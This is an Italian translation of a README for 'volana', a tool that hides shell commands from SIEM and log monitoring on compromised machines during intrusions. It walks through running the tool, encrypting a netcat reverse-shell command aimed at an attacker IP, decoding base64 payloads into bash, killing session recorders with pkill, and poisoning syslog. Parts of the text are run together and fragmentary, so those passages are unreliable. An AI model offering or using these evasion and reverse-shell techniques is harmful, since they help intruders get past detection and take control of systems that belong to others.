
🌒 Offuscamento dei comandi shell per evitare i sistemi di rilevamento
{ Usalo ; 🌚(nascondi da); 🌞(rilevato da) } Durante un pentest, un aspetto importante è essere furtivi. Per questo motivo dovresti cancellare le tue tracce dopo il tuo passaggio. Tuttavia, molte infrastrutture registrano i comandi e li inviano a un SIEM in tempo reale, rendendo inutile la sola pulizia successiva.volana fornisce un modo semplice per nascondere i comandi eseguiti sulla macchina compromessa, fornendo il proprio runtime shell (inserisci il comando, volana lo esegue per te). In questo modo cancelli le tue tracce DURANTE il tuo passaggio
Devi ottenere una shell interattiva. (Trova un modo per lanciarla, sei un hacker, è il tuo lavoro! altrimenti). Poi scaricala sulla macchina di destinazione ed eseguila. Questo è tutto, ora puoi digitare il comando che vuoi eseguire in modo furtivo
## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]
Parole chiave per la console volana:
ring: abilita la modalità anello, cioè ogni comando viene lanciato insieme a molti altri per coprire le tracce (da soluzioni che monitorano le system call)exit: esci dalla console volanaImmagina di avere una shell non interattiva (webshell o RCE cieca), puoi usare i sottocomandi encrypt e decrypt. In precedenza, devi compilare volana con una chiave di crittografia incorporata.
Sulla macchina dell'attaccante
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Copia il comando crittografato ed eseguilo con la tua RCE sulla macchina di destinazione
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Perché non nascondere semplicemente il comando con echo [command] | base64 ?
E decodifica sul target con echo [encoded_command] | base64 -d | bash
Perché vogliamo essere protetti contro i sistemi che attivano un alert per l'uso di base64 o che cercano testo base64 nei comandi. Inoltre vogliamo rendere difficile l'indagine e base64 non è un vero freno.
Tieni presente che volana non è un miracolo che ti renderà completamente invisibile. Il suo scopo è rendere più difficile il rilevamento delle intrusioni e l'indagine.
Per rilevato intendiamo se siamo in grado di attivare un alert se un determinato comando è stato eseguito.
Verrà catturata solo la riga di comando di lancio di volana. 🧠 Tuttavia, aggiungendo uno spazio prima di eseguirlo, il comportamento predefinito di bash è di non salvarlo
.bash_history, ".zsh_history" ecc...opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, ecc..)
pkill -9 scriptscreen è un po' più difficile da evitare, tuttavia non registra l'input (input segreto: stty -echo => evita)volana con crittografia/var/log/auth.log)
sudo o sulogger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD per creare log
Scusa per il titolo clickbait, ma non verranno forniti soldi per i contributori. 🐛
Fammi sapere se hai trovato:
volanavolana